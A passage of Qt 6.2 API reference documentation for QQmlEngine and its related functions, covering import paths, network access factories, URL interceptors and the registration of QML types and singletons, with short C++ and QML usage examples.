 When the [QQmlEngine](qqmlengine) instantiates a [QObject](qobject), the context is set automatically.

 **See also** [setContextForObject](qqmlengine#setContextForObject)(), [qmlContext](qqmlengine#qmlContext)(), and [qmlEngine](qqmlengine#qmlEngine)().

 ### 
`[override virtual protected]` bool QQmlEngine::event([QEvent](qevent) \**e*)

 Reimplements: [QObject::event](qobject#event)(QEvent \*e).

 ### 
[QQmlImageProviderBase](qqmlimageproviderbase) \*QQmlEngine::imageProvider(const [QString](qstring) &*providerId*) const

 Returns the image provider set for *providerId* if found; otherwise returns `nullptr`.

 **See also** [QQuickImageProvider](qquickimageprovider).

 ### 
[QStringList](qstringlist) QQmlEngine::importPathList() const

 Returns the list of directories where the engine searches for installed modules in a URL-based directory structure.

 For example, if `/opt/MyApp/lib/imports` is in the path, then QML that imports `com.mycompany.Feature` will cause the [QQmlEngine](qqmlengine) to look in `/opt/MyApp/lib/imports/com/mycompany/Feature/` for the components provided by that module. A `qmldir` file is required for defining the type version mapping and possibly QML extensions plugins.

 By default, the list contains the directory of the application executable, paths specified in the `QML_IMPORT_PATH` environment variable, and the builtin `QmlImportsPath` from [QLibraryInfo](qlibraryinfo).

 **See also** [addImportPath](qqmlengine#addImportPath)() and [setImportPathList](qqmlengine#setImportPathList)().

 ### 
bool QQmlEngine::importPlugin(const [QString](qstring) &*filePath*, const [QString](qstring) &*uri*, [QList](qlist)<[QQmlError](qqmlerror)> \**errors*)

 Imports the plugin named *filePath* with the *uri* provided. Returns true if the plugin was successfully imported; otherwise returns false.

 On failure and if non-null, the *errors* list will have any errors which occurred prepended to it.

 The plugin has to be a Qt plugin which implements the [QQmlEngineExtensionPlugin](qqmlengineextensionplugin) interface.

 ### 
[QQmlIncubationController](qqmlincubationcontroller) \*QQmlEngine::incubationController() const

 Returns the currently set incubation controller, or 0 if no controller has been set.

 **See also** [setIncubationController](qqmlengine#setIncubationController)().

 ### 
[QUrl](qurl) QQmlEngine::interceptUrl(const [QUrl](qurl) &*url*, [QQmlAbstractUrlInterceptor::DataType](qqmlabstracturlinterceptor#DataType-enum) *type*) const

 Run the current URL interceptors on the given *url* of the given *type* and return the result.

 ### 
QNetworkAccessManager \*QQmlEngine::networkAccessManager() const

 Returns a common QNetworkAccessManager which can be used by any QML type instantiated by this engine.

 If a [QQmlNetworkAccessManagerFactory](qqmlnetworkaccessmanagerfactory) has been set and a QNetworkAccessManager has not yet been created, the [QQmlNetworkAccessManagerFactory](qqmlnetworkaccessmanagerfactory) will be used to create the QNetworkAccessManager; otherwise the returned QNetworkAccessManager will have no proxy or cache set.

 **See also** [setNetworkAccessManagerFactory](qqmlengine#setNetworkAccessManagerFactory)().

 ### 
[QQmlNetworkAccessManagerFactory](qqmlnetworkaccessmanagerfactory) \*QQmlEngine::networkAccessManagerFactory() const

 Returns the current [QQmlNetworkAccessManagerFactory](qqmlnetworkaccessmanagerfactory).

 **See also** [setNetworkAccessManagerFactory](qqmlengine#setNetworkAccessManagerFactory)().

 ### 
`[since 5.9]` [QString](qstring) QQmlEngine::offlineStorageDatabaseFilePath(const [QString](qstring) &*databaseName*) const

 Returns the file path where a [Local Storage](https://doc.qt.io/qt-6.2/qtquick-localstorage-qmlmodule.html) database with the identifier *databaseName* is (or would be) located.

 This function was introduced in Qt 5.9.

 **See also** [LocalStorage.openDatabaseSync()](https://doc.qt.io/qt-6.2/qtquick-localstorage-qmlmodule.html#opendatabasesync).

 ### 
bool QQmlEngine::outputWarningsToStandardError() const

 Returns true if warning messages will be output to stderr in addition to being emitted by the [warnings](qqmlengine#warnings)() signal, otherwise false.

 The default value is true.

 **See also** [setOutputWarningsToStandardError](qqmlengine#setOutputWarningsToStandardError)().

 ### 
[QStringList](qstringlist) QQmlEngine::pluginPathList() const

 Returns the list of directories where the engine searches for native plugins for imported modules (referenced in the `qmldir` file).

 By default, the list contains only `.`, i.e. the engine searches in the directory of the `qmldir` file itself.

 **See also** [addPluginPath](qqmlengine#addPluginPath)() and [setPluginPathList](qqmlengine#setPluginPathList)().

 ### 
void QQmlEngine::removeImageProvider(const [QString](qstring) &*providerId*)

 Removes the image provider for *providerId*.

 **See also** [addImageProvider](qqmlengine#addImageProvider)() and [QQuickImageProvider](qquickimageprovider).

 ### 
void QQmlEngine::removeUrlInterceptor([QQmlAbstractUrlInterceptor](qqmlabstracturlinterceptor) \**urlInterceptor*)

 Remove a *urlInterceptor* that was previously added using [addUrlInterceptor](qqmlengine#addUrlInterceptor). The URL interceptors should not be modifed while the engine is loading files, or URL selection may be inconsistent.

 This does not delete the interceptor, but merely removes it from the engine. You can re-use it on the same or a different engine afterwards.

 ### 
[QQmlContext](qqmlcontext) \*QQmlEngine::rootContext() const

 Returns the engine's root context.

 The root context is automatically created by the [QQmlEngine](qqmlengine). Data that should be available to all QML component instances instantiated by the engine should be put in the root context.

 Additional data that should only be available to a subset of component instances should be added to sub-contexts parented to the root context.

 ### 
void QQmlEngine::setBaseUrl(const [QUrl](qurl) &*url*)

 Set the base URL for this engine to *url*.

 **See also** [baseUrl](qqmlengine#baseUrl)().

 ### 
`[static]` void QQmlEngine::setContextForObject([QObject](qobject#QObject) \**object*, [QQmlContext](qqmlcontext) \**context*)

 Sets the [QQmlContext](qqmlcontext) for the *object* to *context*. If the *object* already has a context, a warning is output, but the context is not changed.

 When the [QQmlEngine](qqmlengine) instantiates a [QObject](qobject), the context is set automatically.

 **See also** [contextForObject](qqmlengine#contextForObject)().

 ### 
void QQmlEngine::setImportPathList(const [QStringList](qstringlist) &*paths*)

 Sets *paths* as the list of directories where the engine searches for installed modules in a URL-based directory structure.

 By default, the list contains the directory of the application executable, paths specified in the `QML_IMPORT_PATH` environment variable, and the builtin `QmlImportsPath` from [QLibraryInfo](qlibraryinfo).

 **See also** [importPathList](qqmlengine#importPathList)() and [addImportPath](qqmlengine#addImportPath)().

 ### 
void QQmlEngine::setIncubationController([QQmlIncubationController](qqmlincubationcontroller) \**controller*)

 Sets the engine's incubation *controller*. The engine can only have one active controller and it does not take ownership of it.

 **See also** [incubationController](qqmlengine#incubationController)().

 ### 
void QQmlEngine::setNetworkAccessManagerFactory([QQmlNetworkAccessManagerFactory](qqmlnetworkaccessmanagerfactory) \**factory*)

 Sets the *factory* to use for creating QNetworkAccessManager(s).

 QNetworkAccessManager is used for all network access by QML. By implementing a factory it is possible to create custom QNetworkAccessManager with specialized caching, proxy and cookie support.

 The factory must be set before executing the engine.

  **Note:** [QQmlEngine](qqmlengine) does not take ownership of the factory.

  **See also** [networkAccessManagerFactory](qqmlengine#networkAccessManagerFactory)().

 ### 
void QQmlEngine::setOutputWarningsToStandardError(bool *enabled*)

 Set whether warning messages will be output to stderr to *enabled*.

 If *enabled* is true, any warning messages generated by QML will be output to stderr and emitted by the [warnings](qqmlengine#warnings)() signal. If *enabled* is false, only the [warnings](qqmlengine#warnings)() signal will be emitted. This allows applications to handle warning output themselves.

 The default value is true.

 **See also** [outputWarningsToStandardError](qqmlengine#outputWarningsToStandardError)().

 ### 
void QQmlEngine::setPluginPathList(const [QStringList](qstringlist) &*paths*)

 Sets the list of directories where the engine searches for native plugins for imported modules (referenced in the `qmldir` file) to *paths*.

 By default, the list contains only `.`, i.e. the engine searches in the directory of the `qmldir` file itself.

 **See also** [pluginPathList](qqmlengine#pluginPathList)() and [addPluginPath](qqmlengine#addPluginPath)().

 ### 
`[since 5.12]` template <typename T> T QQmlEngine::singletonInstance(int *qmlTypeId*)

 Returns the instance of a singleton type that was registered under *qmlTypeId*.

 The template argument *T* may be either [QJSValue](qjsvalue) or a pointer to a [QObject](qobject)-derived type and depends on how the singleton was registered. If no instance of *T* has been created yet, it is created now. If *qmlTypeId* does not represent a valid singleton type, either a default constructed [QJSValue](qjsvalue) or a `nullptr` is returned.

 [QObject](qobject)\* example:

 
```
class MySingleton : public QObject {
    Q_OBJECT

    // Register as default constructed singleton.
    QML_ELEMENT
    QML_SINGLETON

    static int typeId;
    // ...
};

    MySingleton::typeId = qmlTypeId(...);

    // Retrieve as QObject*
    QQmlEngine engine;
    MySingleton* instance = engine.singletonInstance<MySingleton*>(MySingleton::typeId);
```
 [QJSValue](qjsvalue) example:

 
```
    // Register with QJSValue callback
    int typeId = qmlRegisterSingletonType(...);

    // Retrieve as QJSValue
    QQmlEngine engine;
    QJSValue instance = engine.singletonInstance<QJSValue>(typeId);
```
 It is recommended to store the QML type id, e.g. as a static member in the singleton class. The lookup via [qmlTypeId](qqmlengine#qmlTypeId)() is costly.

 This function was introduced in Qt 5.12.

 **See also** [QML\_SINGLETON](qqmlengine#QML_SINGLETON), [qmlRegisterSingletonType](qqmlengine#qmlRegisterSingletonType)(), and [qmlTypeId](qqmlengine#qmlTypeId)().

 ### 
void QQmlEngine::trimComponentCache()

 Trims the engine's internal component cache.

 This function causes the property metadata of any loaded components which are not currently in use to be destroyed.

 A component is considered to be in use if there are any extant instances of the component itself, any instances of other components that use the component, or any objects instantiated by any of those components.

 **See also** [clearComponentCache](qqmlengine#clearComponentCache)().

 ### 
[QList](qlist)<[QQmlAbstractUrlInterceptor](qqmlabstracturlinterceptor) \*> QQmlEngine::urlInterceptors() const

 Returns the list of currently active URL interceptors.

  Related Non-Members
-------------------

 ### template <typename T> [QObject](qobject#QObject) \*qmlAttachedPropertiesObject(const [QObject](qobject#QObject) \**attachee*, bool *create* = true)

 The form of this template function is:

 
```
template<typename T> QObject *qmlAttachedPropertiesObject(const QObject *attachee, bool create = true)
```
 This returns the attached object instance that has been attached to the specified *attachee* by the attaching type *T*.

 If *create* is true and type *T* is a valid attaching type, this creates and returns a new attached object instance.

 Returns 0 if type *T* is not a valid attaching type, or if *create* is false and no attachment object instance has previously been created for *attachee*.

 **See also** [QML\_ATTACHED](qqmlengine#QML_ATTACHED)() and [Providing Attached Properties](qtqml-cppintegration-definetypes#providing-attached-properties).

 ### 
void qmlClearTypeRegistrations()

 Clears all stored type registrations, such as those produced with [qmlRegisterType](qqmlengine#qmlRegisterType)().

 Do not call this function while a [QQmlEngine](qqmlengine) exists or behavior will be undefined. Any existing QQmlEngines must be deleted before calling this function. This function only affects the application global cache. Delete the [QQmlEngine](qqmlengine) to clear all cached data relating to that engine.

 ### 
[QQmlContext](qqmlcontext) \*qmlContext(const [QObject](qobject#QObject) \**object*)

 Returns the [QQmlContext](qqmlcontext) associated with *object*, if any. This is equivalent to [QQmlEngine::contextForObject](qqmlengine#contextForObject)(object).

  **Note:** Add `#include <QtQml>` to use this function.

  **See also** [contextForObject](qqmlengine#contextForObject)() and [qmlEngine](qqmlengine#qmlEngine)().

 ### 
`[since 5.9]` QQmlInfo qmlDebug(const [QObject](qobject#QObject) \**object*)

 Prints debug messages that include the file and line number for the specified QML *object*.

 When QML types produce logging messages, it improves traceability if they include the QML file and line number on which the particular instance was instantiated.

 To include the file and line number, an object must be passed. If the file and line number is not available for that instance (either it was not instantiated by the QML engine or location information is disabled), "unknown location" will be used instead. For example,

 
```
qmlDebug(object) << "Internal state: 42";
```
 prints

 
```
QML MyCustomType (unknown location): Internal state: 42
```
 This function was introduced in Qt 5.9.

 **See also** [qmlInfo](qqmlengine#qmlInfo) and [qmlWarning](qqmlengine#qmlWarning).

 ### 
[QQmlEngine](qqmlengine#QQmlEngine) \*qmlEngine(const [QObject](qobject#QObject) \**object*)

 Returns the [QQmlEngine](qqmlengine) associated with *object*, if any. This is equivalent to [QQmlEngine::contextForObject](qqmlengine#contextForObject)(object)->engine(), but more efficient.

  **Note:** Add `#include <QtQml>` to use this function.

  **See also** [contextForObject](qqmlengine#contextForObject)() and [qmlContext](qqmlengine#qmlContext)().

 ### 
QQmlInfo qmlInfo(const [QObject](qobject#QObject) \**object*)

 Prints informational messages that include the file and line number for the specified QML *object*.

 When QML types produce logging messages, it improves traceability if they include the QML file and line number on which the particular instance was instantiated.

 To include the file and line number, an object must be passed. If the file and line number is not available for that instance (either it was not instantiated by the QML engine or location information is disabled), "unknown location" will be used instead.

 For example,

 
```
qmlInfo(object) << tr("component property is a write-once property");
```
 prints

 
```
QML MyCustomType (unknown location): component property is a write-once property
```
  **Note:** In versions prior to Qt 5.9, qmlInfo reported messages using a warning [QtMsgType](qtglobal#QtMsgType-enum). For Qt 5.9 and above, qmlInfo uses an info [QtMsgType](qtglobal#QtMsgType-enum). To send warnings, use [qmlWarning](qqmlengine#qmlWarning).

  **See also** [qmlDebug](qqmlengine#qmlDebug) and [qmlWarning](qqmlengine#qmlWarning).

 ### 
bool qmlProtectModule(const char \**uri*, int *majVersion*)

 This function protects a module from further modification. This can be used to prevent other plugins from injecting types into your module. It can also be a performance improvement, as it allows the engine to skip checking for the possibility of new types or plugins when this import is reached.

 Once qmlProtectModule has been called, a QML engine will not search for a new `qmldir` file to load the module anymore. It will re-use any `qmldir` files it has loaded before, though. Therefore, types present at this point continue to work. Mind that different QML engines may load different modules. The module protection, however, is global and affects all engines. The overhead of locating `qmldir` files and loading plugins may be noticeable with slow file systems. Therefore, protecting a module once you are sure you won't need to load it anymore can be a good optimization. Mind also that the module lock not only affects plugins but also any other qmldir directives, like `import` or `prefer`, as well as any composite types or scripts declared in a `qmldir` file.

 In addition, after this function is called, any attempt to register C++ types into this uri, major version combination will lead to a runtime error.

 Returns true if the module with *uri* as a [module identifier](https://doc.qt.io/qt-6.2/qtqml-modules-identifiedmodules.html) and *majVersion* as a major version number was found and locked, otherwise returns false. The module must contain exported types in order to be found.

 ### 
`[since 5.14]` template <typename T> int qmlRegisterAnonymousType(const char \**uri*, int *versionMajor*)

 This template function registers the C++ type in the QML system as an anonymous type. The resulting QML type does not have a name. Therefore, instances of this type cannot be created from the QML system. You can, however, access instances of the type when they are exposed as properties of other types.

 Use this function when the type will not be referenced by name, specifically for C++ types that are used on the left-hand side of a property binding. To indicate to which module the type belongs use *uri* and *versionMajor*.

 For example, consider the following two classes:

 
```
class Bar : public QObject
{
    Q_OBJECT
    Q_PROPERTY(QString baz READ baz WRITE setBaz NOTIFY bazChanged)

public:
    Bar() {}

    QString baz() const { return mBaz; }

    void setBaz(const QString &baz)
    {
        if (baz == mBaz)
            return;

        mBaz = baz;
        emit bazChanged();
    }

signals:
    void bazChanged();

private:
    QString mBaz;
};

class Foo : public QObject
{
    Q_OBJECT
    Q_PROPERTY(Bar *bar READ bar CONSTANT FINAL)

public:
    Foo() {}

    Bar *bar() { return &mBar; }

private:
    Bar mBar;
};
```
 In QML, we assign a string to the `baz` property of `bar`:

 
```
Foo {
    bar.baz: "abc"
    Component.onCompleted: print(bar.baz)
}
```
 For the QML engine to know that the `Bar` type has a `baz` property, we have to make `Bar` known:

 
```
qmlRegisterType<Foo>("App", 1, 0, "Foo");
qmlRegisterAnonymousType<Bar>("App", 1);
```
 As the `Foo` type is instantiated in QML, it must be registered with the version of [qmlRegisterType](qqmlengine#qmlRegisterType)() that takes an element name.

 Returns the QML type id.

 This function was introduced in Qt 5.14.

 **See also** [QML\_ANONYMOUS](qqmlengine#QML_ANONYMOUS) and [Choosing the Correct Integration Method Between C++ and QML](https://doc.qt.io/qt-6.2/qtqml-cppintegration-overview.html#choosing-the-correct-integration-method-between-c-and-qml).

 ### template <typename T, typename E> int qmlRegisterExtendedType(const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**qmlName*)

 This template function registers the C++ type and its extension object in the QML system with the name *qmlName* in the library imported from *uri* having version number composed from *versionMajor* and *versionMinor*. Properties not available in the main type will be searched for in the extension object.

 Returns the QML type id.

 **See also** [QML\_EXTENDED](qqmlengine#QML_EXTENDED)(), [qmlRegisterType](qqmlengine#qmlRegisterType)(), and [Registering Extension Objects](qtqml-cppintegration-definetypes#registering-extension-objects).

 ### template <typename T, typename E> int qmlRegisterExtendedUncreatableType(const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**qmlName*, const [QString](qstring) &*reason*)

 This template function registers the C++ type and its extension in the QML system with the name *qmlName* in the library imported from *uri* having version number composed from *versionMajor* and *versionMinor*.

 While the type has a name and a type, it cannot be created. An error message with the given *reason* is printed if the user attempts to create an instance of this type.

 This is useful where the type is only intended for providing attached properties, enum values or an abstract base class with its extension.

 Returns the QML type id.

 **See also** [QML\_EXTENDED](qqmlengine#QML_EXTENDED)(), [QML\_UNCREATABLE](qqmlengine#QML_UNCREATABLE)(), and [qmlRegisterUncreatableType](qqmlengine#qmlRegisterUncreatableType)().

 ### 
`[since 5.9]` void qmlRegisterModule(const char \**uri*, int *versionMajor*, int *versionMinor*)

 This function registers a module in a particular *uri* with a version specified in *versionMajor* and *versionMinor*.

 This can be used to make a certain module version available, even if no types are registered for that version. This is particularly useful for keeping the versions of related modules in sync.

 This function was introduced in Qt 5.9.

 ### template <typename T, int metaObjectRevision> int qmlRegisterRevision(const char \**uri*, int *versionMajor*, int *versionMinor*)

 This template function registers the specified revision of a C++ type in the QML system with the library imported from *uri* having the version number composed from *versionMajor* and *versionMinor*.

 Returns the QML type id.

 
```
template<typename T, int metaObjectRevision>
int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor);
```
 This function is typically used to register the revision of a base class to use for the specified version of the type (see [Type Revisions and Versions](qtqml-cppintegration-definetypes#type-revisions-and-versions)).

 ### 
`[since 5.14]` int qmlRegisterSingletonInstance(const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**typeName*, [QObject](qobject#QObject) \**cppObject*)

 This function is used to register a singleton object *cppObject*, with a particular *uri* and *typeName*. Its version is a combination of *versionMajor* and *versionMinor*.

 Installing a singleton type into a URI allows you to provide arbitrary functionality (methods and properties) to QML code without requiring individual instances of the type to be instantiated by the client.

 Use this function to register an object of the given type T as a singleton type.

 A [QObject](qobject) singleton type may be referenced via the type name with which it was registered; in turn this type name may be used as the target in a [Connections](qml-qtqml-connections) type, or like any other type ID. However, there's one exception: a [QObject](qobject) singleton type property can't be aliased because the singleton type name does not identify an object within the same component as any other item.

  **Note:** *cppObject* must outlive the QML engine in which it is used. Moreover, cppObject must have the same thread affinity as the engine. If you want separate singleton instances for multiple engines, you need to use [qmlRegisterSingletonType](qqmlengine#qmlRegisterSingletonType). See [Threads and QObjects](threads-qobject) for more information about thread safety.

  **NOTE:** qmlRegisterSingleton can only be used when all types of that module are registered procedurally.

 Usage:

 
```
// First, define your QObject which provides the functionality.
class SingletonTypeExample : public QObject
{
    Q_OBJECT
    Q_PROPERTY(int someProperty READ someProperty WRITE setSomeProperty NOTIFY somePropertyChanged)

public:
    explicit SingletonTypeExample(QObject* parent = nullptr) : QObject(parent) {}

    Q_INVOKABLE int doSomething()
    {
        setSomeProperty(5);
        return m_someProperty;
    }

    int someProperty() const { return m_someProperty; }
    void setSomeProperty(int val) {
        if (m_someProperty != val) {
            m_someProperty = val;
            emit somePropertyChanged(val);
        }
    }

signals:
    void somePropertyChanged(int newValue);

private:
    int m_someProperty = 0;
};
```
 
```
// Second, create an instance of the object

// allocate example before the engine to ensure that it outlives it
QScopedPointer<SingletonTypeExample> example(new SingletonTypeExample);
QQmlEngine engine;

// Third, register the singleton type provider with QML by calling this
// function in an initialization function.
qmlRegisterSingletonInstance("Qt.example.qobjectSingleton", 1, 0, "MyApi", example.get());
```
 In order to use the registered singleton type in QML, you must import the URI with the corresponding version.

 
```
import QtQuick 2.0
import Qt.example.qobjectSingleton 1.0
Item {
    id: root
    property int someValue: MyApi.someProperty

    Component.onCompleted: {
        console.log(MyApi.doSomething())
    }
}
```
 This function was introduced in Qt 5.14.

 **See also** [QML\_SINGLETON](qqmlengine#QML_SINGLETON) and [qmlRegisterSingletonType](qqmlengine#qmlRegisterSingletonType).

 ### 
int qmlRegisterSingletonType(const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**typeName*, [QJSValue](qjsvalue) (\*)([QQmlEngine](qqmlengine#QQmlEngine) \*, [QJSEngine](qjsengine#QJSEngine) \*) *callback*)

 This function may be used to register a singleton type provider *callback* in a particular *uri* and *typeName* with a version specified in *versionMajor* and *versionMinor*.

 Installing a singleton type allows developers to provide arbitrary functionality (methods and properties) to a client without requiring individual instances of the type to be instantiated by the client.

 A singleton type may be either a [QObject](qobject) or a [QJSValue](qjsvalue). This function should be used to register a singleton type provider function which returns a [QJSValue](qjsvalue) as a singleton type.

 **NOTE:** [QJSValue](qjsvalue) singleton type properties will **not** trigger binding re-evaluation if changed.

 Usage:

 
```
// First, define the singleton type provider function (callback).
static QJSValue example_qjsvalue_singletontype_provider(QQmlEngine *engine, QJSEngine *scriptEngine)
{
    Q_UNUSED(engine)

    static int seedValue = 5;
    QJSValue example = scriptEngine->newObject();
    example.setProperty("someProperty", seedValue++);
    return example;
}

// Second, register the singleton type provider with QML by calling this function in an initialization function.
qmlRegisterSingletonType("Qt.example.qjsvalueApi", 1, 0, "MyApi", example_qjsvalue_singletontype_provider);
```
 Alternatively, you can use a C++11 lambda:

 
```
qmlRegisterSingletonType("Qt.example.qjsvalueApi", 1, 0, "MyApi", [](QQmlEngine *engine, QJSEngine *scriptEngine) -> QJSValue {
    Q_UNUSED(engine)

    static int seedValue = 5;
    QJSValue example = scriptEngine->newObject();
    example.setProperty("someProperty", seedValue++);
    return example;
});
```
 In order to use the registered singleton type in QML, you must import the singleton type.

 
```
import QtQuick 2.0
import Qt.example.qjsvalueApi 1.0 as ExampleApi
Item {
    id: root
    property int someValue: ExampleApi.MyApi.someProperty
}
```
 **See also** [QML\_SINGLETON](qqmlengine#QML_SINGLETON) and [Choosing the Correct Integration Method Between C++ and QML](https://doc.qt.io/qt-6.2/qtqml-cppintegration-overview.html#choosing-the-correct-integration-method-between-c-and-qml).

 ### template <typename T> int qmlRegisterSingletonType(const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**typeName*, [QObject](qobject#QObject) \*(\*)([QQmlEngine](qqmlengine#QQmlEngine) \*, [QJSEngine](qjsengine#QJSEngine) \*) *callback*)

 This function may be used to register a singleton type provider *callback* in a particular *uri* and *typeName* with a version specified in *versionMajor* and *versionMinor*.

 Installing a singleton type into a uri allows developers to provide arbitrary functionality (methods and properties) to clients without requiring individual instances ot the type to be instantiated by the client.

 A singleton type may be either a [QObject](qobject) or a [QJSValue](qjsvalue). This function should be used to register a singleton type provider function which returns a [QObject](qobject) of the given type T as a singleton type.

 A [QObject](qobject) singleton type may be referenced via the type name with which it was registered, and this typename may be used as the target in a [Connections](qml-qtqml-connections) type or otherwise used as any other type id would. One exception to this is that a [QObject](qobject) singleton type property may not be aliased.

 **NOTE:** A [QObject](qobject) singleton type instance returned from a singleton type provider is owned by the QML engine unless the object has explicit QQmlEngine::CppOwnership flag set.

 Usage:

 
```
// First, define your QObject which provides the functionality.
class SingletonTypeExample : public QObject
{
    Q_OBJECT
    Q_PROPERTY (int someProperty READ someProperty WRITE setSomeProperty NOTIFY somePropertyChanged)

public:
    SingletonTypeExample(QObject* parent = 0)
        : QObject(parent), m_someProperty(0)
    {
    }

    ~SingletonTypeExample() {}

    Q_INVOKABLE int doSomething() { setSomeProperty(5); return m_someProperty; }

    int someProperty() const { return m_someProperty; }
    void setSomeProperty(int val) { m_someProperty = val; emit somePropertyChanged(val); }

signals:
    void somePropertyChanged(int newValue);

private:
    int m_someProperty;
};

// Second, define the singleton type provider function (callback).
static QObject *example_qobject_singletontype_provider(QQmlEngine *engine, QJSEngine *scriptEngine)
{
    Q_UNUSED(engine)
    Q_UNUSED(scriptEngine)

    SingletonTypeExample *example = new SingletonTypeExample();
    return example;
}

// Third, register the singleton type provider with QML by calling this function in an initialization function.
qmlRegisterSingletonType<SingletonTypeExample>("Qt.example.qobjectSingleton", 1, 0, "MyApi", example_qobject_singletontype_provider);
```
 Alternatively, you can use a C++11 lambda:

 
```
qmlRegisterSingletonType<SingletonTypeExample>("Qt.example.qobjectSingleton", 1, 0, "MyApi", [](QQmlEngine *engine, QJSEngine *scriptEngine) -> QObject * {
    Q_UNUSED(engine)
    Q_UNUSED(scriptEngine)

    SingletonTypeExample *example = new SingletonTypeExample();
    return example;
});
```
 In order to use the registered singleton type in QML, you must import the singleton type.

 
```
import QtQuick 2.0
import Qt.example.qobjectSingleton 1.0
Item {
    id: root
    property int someValue: MyApi.someProperty

    Component.onCompleted: {
        someValue = MyApi.doSomething()
    }
}
```
 **See also** [QML\_SINGLETON](qqmlengine#QML_SINGLETON) and [Choosing the Correct Integration Method Between C++ and QML](https://doc.qt.io/qt-6.2/qtqml-cppintegration-overview.html#choosing-the-correct-integration-method-between-c-and-qml).

 ### 
`[since 5.14]` template <typename T> int qmlRegisterSingletonType(const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**typeName*, std::function<[QObject](qobject#QObject) \*([QQmlEngine](qqmlengine#QQmlEngine) \*, [QJSEngine](qjsengine#QJSEngine) \*)> *callback*)

 This function overloads qmlRegisterSingletonType.

 This function was introduced in Qt 5.14.

 ### 
int qmlRegisterSingletonType(const [QUrl](qurl) &*url*, const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**qmlName*)

 This function may be used to register a singleton type with the name *qmlName*, in the library imported from *uri* having the version number composed from *versionMajor* and *versionMinor*. The type is defined by the QML file located at *url*. The url must be an absolute URL, i.e. url.isRelative() == false.

 In addition the type's QML file must have pragma Singleton statement among its import statements.

 A singleton type may be referenced via the type name with which it was registered, and this typename may be used as the target in a [Connections](qml-qtqml-connections) type or otherwise used as any other type id would. One exception to this is that a singleton type property may not be aliased (because the singleton type name does not identify an object within the same component as any other item).

 Usage:

 
```
// First, define your QML singleton type which provides the functionality.
pragma Singleton
import QtQuick 2.0
Item {
    property int testProp1: 125
}
```
 
```
// Second, register the QML singleton type by calling this function in an initialization function.
qmlRegisterSingletonType(QUrl("file:///absolute/path/SingletonType.qml"), "Qt.example.qobjectSingleton", 1, 0, "RegisteredSingleton");
```
 In order to use the registered singleton type in QML, you must import the singleton type.

 
```
import QtQuick 2.0
import Qt.example.qobjectSingleton 1.0
Item {
    id: root
    property int someValue: RegisteredSingleton.testProp1
}
```
 It is also possible to have QML singleton types registered without using the qmlRegisterSingletonType function. That can be done by adding a pragma Singleton statement among the imports of the type's QML file. In addition the type must be defined in a qmldir file with a singleton keyword and the qmldir must be imported by the QML files using the singleton.

 **See also** [QML\_SINGLETON](qqmlengine#QML_SINGLETON).

 ### template <typename T> int qmlRegisterType(const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**qmlName*)

 This template function registers the C++ type in the QML system with the name *qmlName*, in the library imported from *uri* having the version number composed from *versionMajor* and *versionMinor*.

 Returns the QML type id.

 There are two forms of this template function:

 
```
template<typename T>
int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName);

template<typename T, int metaObjectRevision>
int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName);
```
 The former is the standard form which registers the type *T* as a new type. The latter allows a particular revision of a class to be registered in a specified version (see [Type Revisions and Versions](qtqml-cppintegration-definetypes#type-revisions-and-versions)).

 For example, this registers a C++ class `MySliderItem` as a QML type named `Slider` for version 1.0 of a type namespace called "com.mycompany.qmlcomponents":

 
```
qmlRegisterType<MySliderItem>("com.mycompany.qmlcomponents", 1, 0, "Slider");
```
 Once this is registered, the type can be used in QML by importing the specified type namespace and version number:

 
```
import com.mycompany.qmlcomponents 1.0

Slider {
    // ...
}
```
 Note that it's perfectly reasonable for a library to register types to older versions than the actual version of the library. Indeed, it is normal for the new library to allow QML written to previous versions to continue to work, even if more advanced versions of some of its types are available.

 **See also** [QML\_ELEMENT](qqmlengine#QML_ELEMENT), [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)(), and [Choosing the Correct Integration Method Between C++ and QML](https://doc.qt.io/qt-6.2/qtqml-cppintegration-overview.html#choosing-the-correct-integration-method-between-c-and-qml).

 ### 
int qmlRegisterType(const [QUrl](qurl) &*url*, const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**qmlName*)

 This function registers a type in the QML system with the name *qmlName*, in the library imported from *uri* having the version number composed from *versionMajor* and *versionMinor*. The type is defined by the QML file located at *url*. The url must be an absolute URL, i.e. url.isRelative() == false.

 Normally QML files can be loaded as types directly from other QML files, or using a qmldir file. This function allows registration of files to types from C++ code, such as when the type mapping needs to be procedurally determined at startup.

 Returns -1 if the registration was not successful.

 ### 
int qmlRegisterTypeNotAvailable(const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**qmlName*, const [QString](qstring) &*message*)

 This function registers a type in the QML system with the name *qmlName*, in the type namespace imported from *uri* having the version number composed from *versionMajor* and *versionMinor*, but any attempt to instantiate the type will produce the given error *message*.

 Normally, the types exported by a plugin should be fixed. However, if a C++ type is not available, you should at least "reserve" the QML type name, and give the user of the unavailable type a meaningful error message.

 Returns the QML type id.

 Example:

 
```
#ifdef NO_GAMES_ALLOWED
qmlRegisterTypeNotAvailable("MinehuntCore", 0, 1, "Game", "Get back to work, slacker!");
#else
qmlRegisterType<MinehuntGame>("MinehuntCore", 0, 1, "Game");
#endif
```
 This will cause any QML which imports the "MinehuntCore" type namespace and attempts to use the type to produce an error message:

 
```
fun.qml: Get back to work, slacker!
   Game {
   ^
```
 Without this, a generic "Game is not a type" message would be given.

 **See also** [QML\_UNAVAILABLE](qqmlengine#QML_UNAVAILABLE), [qmlRegisterUncreatableType](qqmlengine#qmlRegisterUncreatableType)(), and [Choosing the Correct Integration Method Between C++ and QML](https://doc.qt.io/qt-6.2/qtqml-cppintegration-overview.html#choosing-the-correct-integration-method-between-c-and-qml).

 ### 
`[since 5.8]` int qmlRegisterUncreatableMetaObject(const [QMetaObject](qmetaobject) &*staticMetaObject*, const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**qmlName*, const [QString](qstring) &*reason*)

 This function registers the *staticMetaObject* and its extension in the QML system with the name *qmlName* in the library imported from *uri* having version number composed from *versionMajor* and *versionMinor*.

